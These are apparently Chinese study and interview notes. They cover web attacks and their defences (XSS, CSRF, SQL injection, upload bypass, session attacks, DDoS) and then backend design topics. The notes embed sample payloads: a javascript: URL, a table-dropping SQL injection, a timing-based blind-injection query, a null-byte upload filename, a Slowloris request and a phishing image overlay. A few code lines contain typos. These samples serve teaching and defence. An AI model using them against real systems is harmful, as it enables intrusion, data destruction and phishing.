<div style="background: url('javascript:alert(1)')">

XSS Worm 一般来说,用户之间发生交互行为的页面(发送站内信、用户留言等),如果存在存储型XSS,则比较容易发起XSS Worm攻击。 详略。

XSS构造技巧 利用字符编码,绕过长度限制,利用标签,利用window.name等,详略。

XSS的防御

  • 1.将Cookies设为HttpOnly,浏览器将禁止页面的JavaScript访问带有HttpOnly的Cookie。(严格来说HttpOnly并非为了对抗XSS,它解决的是XSS后的Cookies劫持攻击)。 服务器可能会设置多个Cookie,而HttpOnly可以有选择性地加在任何一个Cookie上:
    <?php
    header("Set-Cookie:cookie1=test1;");
    header("Set-Cookie:cookie2=test2;httponly",false);
    ?>
    

    当通过document.cookie读取cookie时,只有cookie1能被JavaScript读取到。

  • 2.输入检查:即对输入格式进行检查,检查工作必须放在服务器端代码中实现;
  • 3.输出检查:在变量输出到HTML页面时使用编码或转义的方式(HtmlEncode)来防御XSS攻击;

跨站点请求伪造(CSRF)

Cross Site Request Forgery。 浏览器Cookie策略 Cookie有两种:

  • 1.Session Cookie,又称临时Cookie,浏览器关闭后即消失;保存在浏览器进程空间中,所以在浏览器中新打开tab时仍然有效。
  • 2.Third-party Cookie,又称本地Cookie,在设置时指定过期时间;保存在本地。

当浏览器从一个域的页面中加载另一个域的资源时,出于安全考虑,某些浏览器会阻止Third-party Cookie的发送。比如在b域中通过iframe引用a域的页面,这种情况下不会带上a域的cookie。然而FireFox默认不阻止Third-party Cookie的发送,所以更容易发生CSRF攻击。

CSRF的防御

  • 1.验证码
  • 2.Referer Check:检查请求是否来自合法的源。缺陷在于服务器并非什么时候都能取到Referer(比如用户的浏览器隐私设置、从HTTPS跳转HTTP等)。
  • 3.Anti CSRF Token 同时在表单和Session(或cookie)中设置一个token,在提交请求时服务器验证表单中的token和用户Session(或cookie)中的token是否一致,如果一致则为合法请求,否则可能发生了CSRF攻击。 token应该不可预测,且当表单提交后,token应该失效。

XSRF Anti CSRF Token仅仅用于对抗CSRF攻击,当网站还同时存在XSS漏洞时,这个方案就会无效,因为XSS可以模拟客户端浏览器执行任意操作,包括请求页面后读出页面里的token,然后再构造出一个合法的请求,这个过程称为XSRF。

注入攻击

注入攻击的本质是把用户的数据当做代码执行。这里有两个关键条件:

  • 1.用户能够控制输入;
  • 2.原本程序要执行的代码拼接了用户输入的数据;

SQL注入 例如:

var sql = "select * from OrderTable where ShipCity = '" + ShipCity + "'";

变量ShipCity由用户提交,而用户提交如下的值:

Beijing';drop table OrderTable;

如果Web服务器开启了错误回显,则会加大SQL注入的风险。

盲注(Blind Injection) 盲注即在服务器没有错误回显时使用盲注验证的方法完成注入攻击。 即根据页面参数构造不同的查询条件来猜测,详略。

Timing Attack 盲注的一种,利用MySQL的BENCHMARK()函数可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断出注入语句是否执行成功。 比如当页面基于id查询时,可以构造如下的id:

1170 UNION SELECT IP(SUBSTRING(current,1,1))=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (Select Database() as current) as tb1;

以上代码判断库名的第一个字母是否为’w’,如果为真,则BENCKMARK()函数将造成较长时间的延迟,否则会很快执行完。

正确地防御SQL注入

    1. 使用预编译语句绑定变量(最佳方式);
    1. 使用安全的存储过程;
    1. 检查数据类型;
    1. 使用安全函数;

其他注入攻击

    1. XML注入,详略。
    1. 代码注入,详略。
    1. CRLF注入:凡是使用CRLF作为分隔符的地方都可能存在注入问题,比如log注入、HTTP头注入(截断HTTP头中,比如Set-Cookie,插入JavaScript代码);假如服务器没有过滤‘\r\n’,而又把用户输入的数据放在HTTP头中,则可能导致这种安全隐患。

文件上传漏洞

文件上传漏洞指Web用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行Web服务器端命令的能力(即所谓的webshell)。要完成这个攻击需要满足以下条件:

    1. 上传的文件能够被Web容器解释执行;
    1. 用户能够从Web上访问这个文件;
    1. 用户上传的文件不能被安全检查、格式化、图片压缩等功能改变了内容; 在针对上传文件的检查中,很多应用都是通过判断文件名后缀的方法来验证。有时可以通过修改上传过程的POST包,在文件名后添加一个%00字节,则可以截断某些函数对文件名的判断,因为在很多语言中(C、PHP)0x00被认为是终止符。比如原本只允许上传jpg文件,那么可以构造文件名为xxx.php[\0].jpg,因为[\0]为16进制的0x00字符,.jpg绕过了应用的上传文件类型的判断,但是对于服务器来说,此文件因为0x00字符截断的关系,最终变成xxx.php。 有些应用通过判断上传文件的文件头信息来验证文件的类型,为了绕过应用中类似MIME Sniff的功能,常见的攻击技巧是伪造一个合法的文件头,而将真实的PHP等脚本代码附在合法的文件头之后。当然,这种情况下需要让Web Server将此文件当做PHP文件来解析才能实现攻击。 Apache、IIS等,旧版本中都有一些已知的文件路径解析的漏洞,详略。

利用上传文件钓鱼及设计安全的文件上传功能

通过伪造文件头的方式(比如伪造一个png文件),构造一个实际内容为JavaScript的图片,JavaScript中的代码重定向到钓鱼网站。这样,在传播钓鱼网站时可以传播合法的图片URL(域名合法),在低版本的浏览器中会将此文件当做HTML执行,从而将用户诱导到钓鱼网站。(现代浏览器不会将jpg当做HTML执行)

设计安全的文件上传功能

    1. 文件上传的目录设置为不可执行;
    1. 判断文件类型,对于图片处理可以使用压缩函数、resize函数等以破坏图片中可能存在的代码;
    1. 使用随机数改写文件名和文件路径;
    1. 单独设置文件服务器的域名;

认证与授权的区别

认证的目的是为了认出用户是谁,而授权的目的是为了解决用户能够做什么。

Session Fixation攻击

在用户登录网站的过程中,如果登录前后用户的SessionID没有发生变化,则会存在Session Fixation问题。所以,在每次登录成功后应该重写SessionID。

Session保持攻击

攻击者可以通过不停地发起访问请求让Session一直存活。 如果Session完全存储在Cookie中,可以通过篡改Cookie的Expire时间来使其保持有效。

访问控制系统设计策略

访问控制实际上就是建立用户与权限之间的对应关系。 在Web应用中,根据访问客体的不同,常见的访问控制可以分为基于URL的访问控制、基于方法的访问控制、基于数据的访问控制等。

  • 垂直权限管理 基于角色的访问控制(RBAC)。事先在系统中定义出不同的角色,不同的角色拥有不同的权限,一个角色实际上就是一个权限的集合,而系统的所有用户会被分配到不同的角色中,一个用户也可能有多个角色。在系统验证权限时,只需要验证用户所属的角色,然后就可以根据该角色所拥有的权限进行授权了。(权限即是否能够访问某个资源,而资源可以是URL路径、路由、method等)

  • 水平权限管理 在RBAC模型下,系统只会验证用户A是否属于角色RoleX,而不会判断用户A是否能访问只属于B的数据,因此会发生越权访问。系统只验证了能访问数据的角色,没有对角色内的用户做细分,也没有对数据的子集做细分,缺乏一个用户到数据之间的对应关系。 水平权限管理问题是个难题,因为对于数据的访问控制与业务结合得十分紧密,至今仍未在统一框架下解决。

常见DDOS攻击方式

Distributed Denial of Service,分布式拒绝服务,利用合理的请求造成资源过载,导致服务不可用。

  • SYN flood SYN flood是一种最为经典的DDOS攻击,它利用了TCP协议设计的缺陷,先伪造大量的源IP地址向服务器端发送大量的SYN包,服务器端接收后会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端收不到伪造的IP的回应,于是重试3~5次并等待一个SYN Time(30~120s),超时后丢弃连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源来处理这种半连接,进而导致拒绝服务。 主要的对抗方式是SYN Cookie,为每一个IP地址分配一个Cookie,并统计每个IP地址的访问频率,如果在短时间内收到大量来自同一个IP地址的数据包,则认为受到了攻击,之后来自这个IP地址的包将被丢弃。

  • 应用层DDOS 发生在应用层(TCP连接已建立),比如对一些资源消耗较大的应用页面不断地发起正常的请求,以达到消耗服务器端资源的目的。是针对服务器性能的一种攻击。

最常见的防御措施是在应用中针对每个客户端(IP+Cookie)做一个请求频率的限制。

  • Slowloris攻击 比如以极低的速度往服务器发送HTTP请求,由于Web Server对于并发的连接数都有一定的上限,因此当恶意占用这些连接不释放时,WebServer的所有连接将被占用,从而无法接受新的请求。 比如构造一个畸形的HTTP请求:
    GET / HTTP/1.1\r\n
    ....
    Content-Lenght:42\r\n
    

    在正常的HTTP包头中是以两个CLRF表示HTTP Headers部分结束的:

    Content-Length:42\r\n\r\n
    

    由于Web Server只收到一个\r\n,因此将认为HTTP Headers部分没有结束,并保持此连接不释放,继续等待完整的请求,此时客户端再发送任意HTTP头,保持住连接即可:

    X-a:b\r\n
    

    这种攻击几乎对所有Web Server都有效。

  • HTTP POST DOS 在发送HTTP POST包时指定一个非常大的Content-Length值,然后以很低的速度发包(比如10~100s发一个字节),保持这个连接不断开,这样当客户端连接数多了以后占用住Web Server的所有可用连接,从而导致DOS。

  • Server Limit DOS Web Server对HTTP包头都有长度限制,比如Apache默认为8192字节,如果客户端发送的HTTP包头超过这个大小,服务器会返回一个4xx错误。攻击者通过XSS攻击恶意地往客户端写入一个超长的Cookie,则该客户端在清空Cookie之前将无法再访问该Cookie所在域的任何页面。

  • ReDOS 正则表达式也能造成拒绝服务:构造恶意的输入,消耗大量的系统资源(比如CPU和内存),从而导致整台服务器的性能下降。 详略。

DDOS防御

    1. 验证码:CAPTCHA,Complete Automated Public Turing Test to Tell Computers and Humans Apart,全自动区分计算机和人类的图灵测试。
    1. 让客户端解析一段JavaScript,并给出正确的运行结果;
    1. 优化Web Server的配置,比如调小Timeout、KeepAliveTimeout的值、增加MaxClients的值等。

基准测试与性能剖析概念理解

基准测试是针对系统设计的一种压力测试,通常的目标是为了掌握系统的行为。通常的测试指标包括:吞吐量、响应时间(延迟)、并发性、可扩展性。 性能剖析(profiling):测量服务器的时间花费在哪里。

性能剖析的代码会导致服务器变慢,可以采用随机采样:

<?php
$profiling_enabled = rand(0,100) > 99;
...

AMQP的工作模型

AMQP:Advanced Message Queuing Protocol,是一个用于特定客户端与特定消息代理通信的协议。因为AMQP的“实体”(即Exchange、message、queue等)和路由架构是由应用程序自己定义的(而不是代理管理员),所以AMQP是一个支持编程扩展的协议。

publisher --publish--> exchange --routes--> queue --consumers--> consumer

AMQP的Exchanges及其类型

  • Default Exchange 由消息代理(broker)预先定义的,未命名的exchange。每一个被创建的queue都使用queue的名称自动绑定到该exchange。比如定义一个名为“search-indexing-online”的queue,那么AMQP broker将会使用“search-indexing-online”为routing key将该队列绑定到默认的exchange,当一个带有该routing key的消息被发布时,将会被路由到”search-indexing-online”这个队列。

  • Direct Exchange 直接Exchange基于消息的路由键(message routing key)来分发消息。当一个带有routing key的消息到来时,Direct Exchange将会把该消息分发给所有使用该key进行绑定的queue(注意,这里的queue也可能是多个,即它们要处理的routing key相同)。

当有多个队列匹配时,时轮询还是全部发送? 全部发送

  • Fanout Exchange Fanout Exchange会把收到的消息分发给所有绑定的queue(即忽略routing key),适用于广播的场景。

  • Topic Exchange 基于消息的routing key和匹配模式(pattern)来分发消息。

  • Headers Exchange 忽略routing key,而是基于message headers来分发消息。

当其x-match参数设为any时,只要有一个header值满足条件,则消息会被分发。当设为all时,所有headers都必须满足才会被分发。

AMQP Queue的主要属性

queue用来保存消息,主要有以下这些属性:

  • Name
  • Durable:broker重启后消息不会丢失
  • Exclusive:该queue只能用于一个连接,且当连接关闭时queue将会被删除
  • Auto-delete:当最后一个消费者解除订阅时,queue将被删除
  • Arguments:一些broker使用它来实现重要的属性,比如message的TTL

AMQP的Binding绑定的是哪两者之间的关系?

Binding用来指定exchanges与queue之间的路由关系。 如果一个消息无法被路由(比如消息发布到的exchange没有绑定任何queue),那么这个消息将会被丢弃或者返回给消息的发布者(取决于消息发布者的设置)。

AMQP Message的主要属性

  • Content type
  • Content encoding
  • Routing key
  • Delivery mode (persistent or not)
  • Message priority
  • Message publishing timestamp
  • Expiration period
  • Publisher application id AMQP messages支持携带负载信息(payload),AMQP brokers会把这些信息当做字节数组进行透明传输,而不会去修改它们。 在发布消息时可以指定消息为持久消息,如果这样,队列将会持久化这些消息(影响性能)。

AMQP Methods

AMQP定义了一系列的方法(类似HTTP的方法,而不是程序语言的方法),方法使用类(classes)来组织。 exchange class 一组与exchange操作相关的方法:

  • exchange.declare
  • exchange.declare-ok
  • exchange.delete
  • exchange.delete-ok

比如一个客户端请求broker来定义一个新的exchange:

Client(Publisher/Consumer) --exchange.declare--> AMQP broker
              [name="xxx",type="direct",durable=true,...]

如果创建成功,broker将会通过exchange.declare-ok方法返回信息:

Client(Publisher/Consumer) <--exchange.declare-ok-- AMQP broker

并非所有的AMQP方法都有对应的response方法,比如basic.publish。

AMQP Channels

有些应用程序可能同时需要多个连接连接到AMQP broker,但是同时保持多个打开的TCP连接是不可取的。 AMQP 0-9-1连接使用channel来实现并发连接的功能。多个channel共享同一个TCP连接。常用的场景是在每一个进程或线程中打开一个channel,不同channel之间的数据是不共享的(因而所有的AMQP方法都同时带有一个channel number以便于客户端判断操作对应的channel)。

AMQP Virtual Hosts

AMQP提供类似Web Server的vhosts的概念,用于提供独立的broker运行环境。AMQP客户端在连接阶段可以指定想要连接的vhost。

比如有一件事情,需要一次执行1,2,3步,如何保证1,3发生错误回滚时2不回滚?事务的传播特性了解吗?

事务传播行为就是多个事务方法相互调用时,事务如何在这些方法间传播。spring支持7种事务传播行为。

阿里的系统流量巨大,有什么办法处理这种高并发吗?如果对你现有的系统做优化支持高并发,你如何做?

负载均衡了解的多吗?如果发现系统中,就某一些用户极其活跃,导致所有的分表中,数据集中在某几个表里,这种情况如何处理?

如果你们的公司运营了几年,DB已经爆满,任何索引都增加不了性能了,如何处理?

设计一个中继服务器,转发客户A->客户B的请求

##

XSIO漏洞

XSIO是因为没有限制图片的position属性为absolute,导致可以控制一张图片出现在网页的任意位置。于是就可以用这张图片去覆盖网页上的任意一个位置,包括网站的banner,包括一个link、一个button。而给图片设置一个链接后,很显然就可以起到一个钓鱼的作用。

百度空间XSIO漏洞: 由于对正常的HTML 标签百度空间是没有做过滤的,所以可以用这些标签来实施XSIO攻击。 在百度,发blog是在一个table里,所以要先把table闭合掉,然后再插入合适的图片。 如以下代码:

</table><a href="http://www.ph4nt0m.org"><img src="http://img.baidu.com/hi/img/portraitn.jpg" style="position:absolute;left:123px;top:123px;"></a>

通过控制 left 和 top的值,我们就可以把这张图片覆盖到网页上的任意位置,而link 则是指向了 www.ph4nt0m.org

代理IP的高匿名,匿名和透明的区别

  • 高匿名:服务器不知道你使用了代理ip和不知道你真实ip
  • 匿名:服务器知道你使用了代理ip但不知道你的真实ip
  • 透明:服务器知道你使用了代理ip而且知道你真实ip

类snowflake算法

snowflake是twitter开源的分布式ID生成算法,其核心思想是:一个long型的ID,使用其中41bit作为毫秒数,10bit作为机器编号,12bit作为毫秒内序列号。这个算法单机每秒内理论上最多可以生成1000*(2^12),也就是400W的ID,完全能满足业务的需求。

容量预估的步骤与方法

  • 预估总访问量 对于一个运营活动的访问量预估,或者一个系统上线后PV的评估,应该询问业务方,即运营、产品,看对产品上线后的预期是什么。 例如要做一个app-push的运营活动,计划在30分钟内完成5000w用户的push推送,预计push消息点击率10%,那么push落地页系统的总访问量大概为:5000w * 10% = 500w。

  • 预估平均访问量QPS 用预估总量除以总时间即可。 如push落地页系统30分钟的总访问量为500w,那么平均QPS大约为500w/(3060)=2778,即大约3000QPS。 再比如主站首页估计日均pv 8000w,一天按4w秒算,8000w/4w,大约2000QPS。 之所以一天按照4w秒计算,是因为一天共24小时60分钟*60秒=8w秒,一般假设所有请求都发生在白天,所以一般来说一天只按照4w秒评估。

  • 评估高峰QPS 应该根据业务特性,最主要的就是过往的业务数据来预估高峰QPS。例如过往数据图表中峰值QPS大约是均值的2.5倍,那么由日均QPS 2000可以预估出峰值QPS为5000。(有一些业务例如“秒杀业务”比较难画出业务访问趋势图,这类业务的容量评估不在此列。)

  • 评估系统、单机极限QPS 进行压力测试。

  • 预估机器数量 如得到了峰值QPS是5000,单机QPS是1000,假设线上部署了2台服务,那么:
  • 峰值5000,单机1000,线上2台,扛不住
  • 需要额外3台机器,提前预留1台更好,给4台更稳

根据CPU核数优化线程数实现CPU性能最大化

线程切换是有开销的,如果线程切换过于频繁,反而会使性能降低,因此工作线程数是不是设置的越大越好。

即使是单核,使用多线程也是有意义的:

  • 多线程编码可以让我们的服务/代码更加清晰,有些IO线程收发包,有些Worker线程进行任务处理,有些Timeout线程进行超时检测;
  • 通常来说,Worker线程一般不会一直占用CPU进行计算,此时即使CPU是单核,增加Worker线程也能够提高并发,因为这个线程在休息的时候,其他的线程可以继续工作;

常见服务线程模型(IO线程与工作线程通过队列解耦):

  • 有少数几个IO线程监听上游发过来的请求,并进行收发包(生产者);
  • 有一个或者多个任务队列,作为IO线程与Worker线程异步解耦的数据传输通道(临界资源);
  • 有多个工作线程执行正真的任务(消费者); 这个线程模型的特点是,工作线程内部是同步阻塞执行任务的,因此可以通过增加Worker线程数来增加并发能力。

工作线程的工作模式:

start
 | 1 ..
 | 2 I/O
 | 3 ..
 | 4 HTTP
 | 5 ..
 | 6 DB Query
 | 7 ..
end

Worker线程在执行的过程中,有一部计算时间需要占用CPU,另一部分等待时间不需要占用CPU,通过量化分析,例如打日志进行统计,可以统计出整个Worker线程执行过程中这两部分时间的比例,例如:时间轴1,3,5,7的计算执行时间是100ms,时间轴2,4,6的等待时间也是100ms,得到的结果是,这个线程计算和等待的时间是1:1,即有50%的时间在计算(占用CPU),50%的时间在等待(不占用CPU),那么:

  • 假设此时是单核,则设置为2个工作线程就可以把CPU充分利用起来,让CPU跑到100%
  • 假设此时是N核,则设置为2N个工作现场就可以把CPU充分利用起来,让CPU跑到N*100%

结论 N核服务器,通过执行业务的单线程分析出本地计算时间为x,等待时间为y,则工作线程数(线程池线程数)设置为 N*(x+y)/x,能让CPU的利用率最大化。

一般来说,非CPU密集型的业务(加解密、压缩解压缩、搜索排序等业务是CPU密集型的业务),瓶颈都在后端数据库,本地CPU计算的时间很少,所以设置几十或者几百个工作线程也都是可能的。

虚IP解决单点高可用问题

虚拟IP地址(VIP) 是一个不与特定计算机或一个计算机中的网络接口卡(NIC)相连的IP地址。VIPs大部分用于连接冗余;一个VIP地址可能在一台计算机发生故障时可用,交由另一个可选计算机响应连接。 其实现原理主要是靠TCP/IP的ARP协议。因为ip地址只是一个逻辑地址,在以太网中MAC地址才是真正用来进行数据传输的物理地址,每台主机中都有一个ARP高速缓存,存储同一个网络内的IP地址与MAC地址的对应关系,以太网中的主机发送数据时会先从这个缓存中查询目标IP对应的MAC地址,会向这个MAC地址发送数据。操作系统会自动维护这个缓存。这就是整个实现的关键。

比如如下是某台机器上当前的ARP缓存内容,其中有2个不同的IP地址指向了一个相同的MAC地址:

# 虚IP(MAC地址与217的相同)
(192.168.1.219) at 00:21:5A:DB:68:E8 [ether] on bond0  

# 对外提供服务的主机(除了有一个对外提供服务的真实IP,还有一个虚IP,所有项目中数据库链接一项配置的都是这个虚IP)
(192.168.1.217) at 00:21:5A:DB:68:E8 [ether] on bond0  

# 热备机器(会对217进行心跳检测)
(192.168.1.218) at 00:21:5A:DB:7F:C2 [ether] on bond0  

当217宕机后,ARP缓存的内容如下:

(192.168.1.219) at 00:21:5A:DB:7F:C2 [ether] on bond0  # 虚IP地址指向了新的MAC地址
(192.168.1.217) at 00:21:5A:DB:68:E8 [ether] on bond0
(192.168.1.218) at 00:21:5A:DB:7F:C2 [ether] on bond0 

当218发现217宕机后会向局域网发送一个ARP数据包,告诉所有主机192.168.1.219这个IP对应的MAC地址是00:21:5A:DB:7F:C2,这样所有发送到219的数据包都会发送到新的机器。

总结 即有主、备两台机器,备用机会对主机进行热备份及心跳检测。同时外部服务使用一个虚IP进行连接,当主机宕机时,直接通过广播ARP消息来替换该对外提供服务的虚IP地址对应的MAC地址为热备机器的MAC地址。不足是它使服务资源的利用率降为了50%。

优化单点性能

减少与单点的交互(减少访问单点的次数),是存在单点的系统优化的核心方向。常见的方法:

  • 批量写;
  • 客户端缓存;
  • 想方设法水平扩展,消除系统单点,理论上才能够无限的提升系统系统;(负载均衡)

主从数据库架构情况下保证缓存数据一致性

对于一个不能保证事务性的操作,一定涉及“哪个任务先做,哪个任务后做”的问题,解决这个问题的方向是: 如果出现不一致,谁先做对业务的影响较小,就谁先执行。

  • 假设先写数据库,再淘汰缓存:第一步写数据库操作成功,第二步淘汰缓存失败,则会出现DB中是新数据,Cache中是旧数据,导致数据不一致。
  • 假设先淘汰缓存,再写数据库:第一步淘汰缓存成功,第二步写数据库失败,则只会引发一次Cache miss。

在并发情况下有可能导致脏数据入缓存:

  • 请求A发起一个写操作,第一步淘汰了cache,然后这个请求因为各种原因在服务层卡住了(进行大量的业务逻辑计算,例如计算了1秒钟);
  • 请求B发起一个读操作,读cache,cache miss;
  • 请求B继续读DB,读出来一个脏数据,然后脏数据入cache;
  • 请求A卡了很久后终于写数据库了,写入了最新的数据; 这种情况虽然少见,但理论上是存在的,后发起的请求B在先发起的请求A中间完成了。 另外,在使用了主从数据库的情况下,若数据库主从同步未及时完成,则也可能导致脏数据进入缓存。

解决脏数据进入缓存的方法:

  • 先淘汰缓存,再写数据库,在写完数据库后异步发出一个淘汰缓存的消息,消息的消费者负责淘汰缓存(需要动业务线代码);
  • 通过分析线下的binlog来异步淘汰缓存(无需动业务线代码);

多库多事务降低数据不一致概率

互联网的业务特点,数据量较大,并发量较大,经常使用拆库的方式提升系统的性能。如果进行了拆库,余额、订单、流水可能分布在不同的数据库上,甚至不同的数据库实例上,此时就不能用事务来保证数据的一致性了。 一种比较挫的做法是使用所谓的“补偿事务”,即写一个与事务操作相反的方法,在判断出事务执行失败后执行补偿事务:

// 修改余额表事务为
int Do_AccountT(uid, money){
start transaction;
  CURDtable t_account with money;       
  anyException rollback return NO;
commit;
return YES;
}
 
// 补偿事务(即一个反向操作)
int Compensate_AccountT(uid, money){
  returnDo_AccountT(uid, -1*money){
}

// 多事务操作
// 执行第一个事务
int flag = Do_AccountT();
if(flag=YES){
  //第一个事务成功,则执行第二个事务
  flag= Do_OrderT();
  if(flag=YES){
    // 第二个事务成功,则成功
    returnYES;
  }
  else{
    // 第二个事务失败,执行第一个事务的补偿事务
    Compensate_AccountT();
  }
}

该方案的不足:

  • 不同的业务要写不同的补偿事务,不具备通用性
  • 没有考虑补偿事务的失败
  • 如果业务流程很复杂,if/else会嵌套非常多层

更好的做法是使用事务提交后置:一个事务,分成执行与提交两个阶段,执行的时间其实是很长的,而commit的执行其实是很快的,而第一个事务成功提交之后,最后一个事务成功提交之前,如果出现问题(例如服务器重启,数据库异常等),都可能导致数据不一致。 如果采用一般的顺序执行的方式,那么结果可能如下:

// 方案一
trx1.exec();       // 第一个事务执行200ms
trx1.commit();     // 提交1ms
trx2.exec();       // 第二个事务执行120ms
trx2.commit();     // 提交1ms
trx3.exec();       // 第三个事务执行80ms
trx3.commit();     // 提交1ms

如果采用事务提交后置方式,那么结果可能如下:

// 方案二
trx1.exec();       // 第一个事务执行200ms
trx2.exec();       // 第二个事务执行120ms
trx3.exec();       // 第三个事务执行80ms
trx1.commit();     // 提交1ms
trx2.commit();     // 提交1ms
trx3.commit();     // 提交1ms

方案一总执行时间是303ms,最后202ms内出现异常都可能导致不一致; 方案二总执行时间也是303ms,但最后2ms内出现异常才会导致不一致; 这种执行顺序上的改动,虽然不能彻底解决多库分布式事务数据一致性问题,但能大大降低数据不一致的概率,带来的副作用是数据库连接占用时间会增长,吞吐量会降低。

数据库分库情况下不同路由规则的比较

数据库分片解决的是“数据量太大”的问题,也就是通常说的“水平切分”。 一旦引入分片,即数据库不再是单库,势必有“数据路由”的概念,即哪个数据访问哪个库。

路由规则通常有3种方法:

  • 范围:range 优点:简单,容易扩展 缺点:各库压力不均(新号段更活跃)

  • 哈希:hash 优点:简单,数据均衡,负载均匀 缺点:迁移麻烦(2库扩3库数据要迁移)

  • 路由服务:router-config-server 优点:灵活性强,业务与路由算法解耦 缺点:每次访问数据库前多一次查询

数据库架构设计的思路总结

数据库架构设计的思路围绕4个方向:可用性、读性能、一致性、扩展性;

  • 可用性 解决可用性问题的思路是使用数据冗余,冗余又会带来数据一致性问题。冗余读库会带来读写延迟,冗余写可能造成数据冲突(比如自增ID冲突)。可以结合热备份+虚拟IP来以对业务层透明的方式实现高可用。
  • 读性能 常用的方式是建立索引、增加从库、增加缓存。 对于建索引需要注意的是不同的库可以建立不同的索引,比如写库不建索引,线上读库建线上访问索引(比如uid),线下读库建立线下访问索引(比如time)。 对于增加从库,需要注意的是从库越多,同步越慢,进而数据不一致窗口越大。
  • 一致性 常见的方式是采用中间件、强制读主库、缓存双淘汰。 中间件(所有的数据库请求都走中间件),即如果某一个key有写操作,在不一致时间窗口内,中间件会将这个key的读操作也路由到主库上(大公司的解决方案)。
  • 扩展性 分表分库,关键是分库逻辑与路由算法。

数据库主从数据一致性优化

主从不一致的场景:

  • 1.系统先对DB-master进行了一个写操作,写主库;
  • 2.很短的时间内并发进行了一个读操作,读从库,此时主从同步没有完成,故读取到了一个旧数据;
  • 3.主从同步完成;

常用的缓解由于主从延时导致读取到旧数据方案有四种:

  • 半同步复制 等主从同步完成之后,主库上的写请求再返回。利用数据库原生功能,比较简单,但是主库的写请求时延会增长,吞吐量会降低。
  • 强制读主 读写都落到主库。

  • 数据库中间件 所有的数据库请求都走中间件,通常情况下,写请求路由到主库,读请求路由到从库。记录所有路由到写库的key,在经验主从同步时间窗口内(假设是500ms),如果有读请求访问中间件,此时有可能从库还是旧数据,就把这个key上的读请求路由到主库。

  • 缓存记录写key 中间件的替代方案,使用缓存来记录某一个库的某一个key上发生了写请求,设置key的超时时间来控制读写路由。

服务器会话保持

有一个电子商务网站,访问量十分大,后台需要有多台服务器支持,每台服务器都是同构的,如何实现用户访问期间的会话保持?如何实现各服务器的负载均衡?在考虑负载均衡的情况下会话保持是否需要做修改?如果通过程序实现负载均衡,可以通过什么方法?

  1. 会话保持:web服务会话保持,即需要多服务器将可以共享session,只要应聘者理解这一点给出方案即可。对于应聘给给出的答案,可以继续深入问对方案的理解。 a) 通过硬件或者软件通过用户的sessionid将用户访问定位到同一台服务器(此类方案会造成负载不均衡) b) 通过服务器间共享文件,将session写入共享文件 c) 通过数据库、Memcache等方式保存session(通过Memcache保存session是目前常用的)
  2. 负载均衡:利用一台服务器专门处理请求,将请求均衡的分发给web服务器
  3. 算法:给出的越多越好,可以进一步询问各方法的优劣,同时可以进一部问如果有部分服务器出现故障时如何处理 a) 轮发 随机取模,发给对应的服务器

设计和实现一个支持挂接多个子系统的单点登录系统

要求:

挂接多个域名的站点思路

一次登录,在多系统使用思路

防跨站攻击思路

答案:

集中验证,不同挂接站点(域名)有不同的票据,以实现验证

登录后进入系统的处理思路,跳到其他系统的处理思路

把票据放在子域下,XSS攻击拿不到其他子域的cookie


公众号
文章目录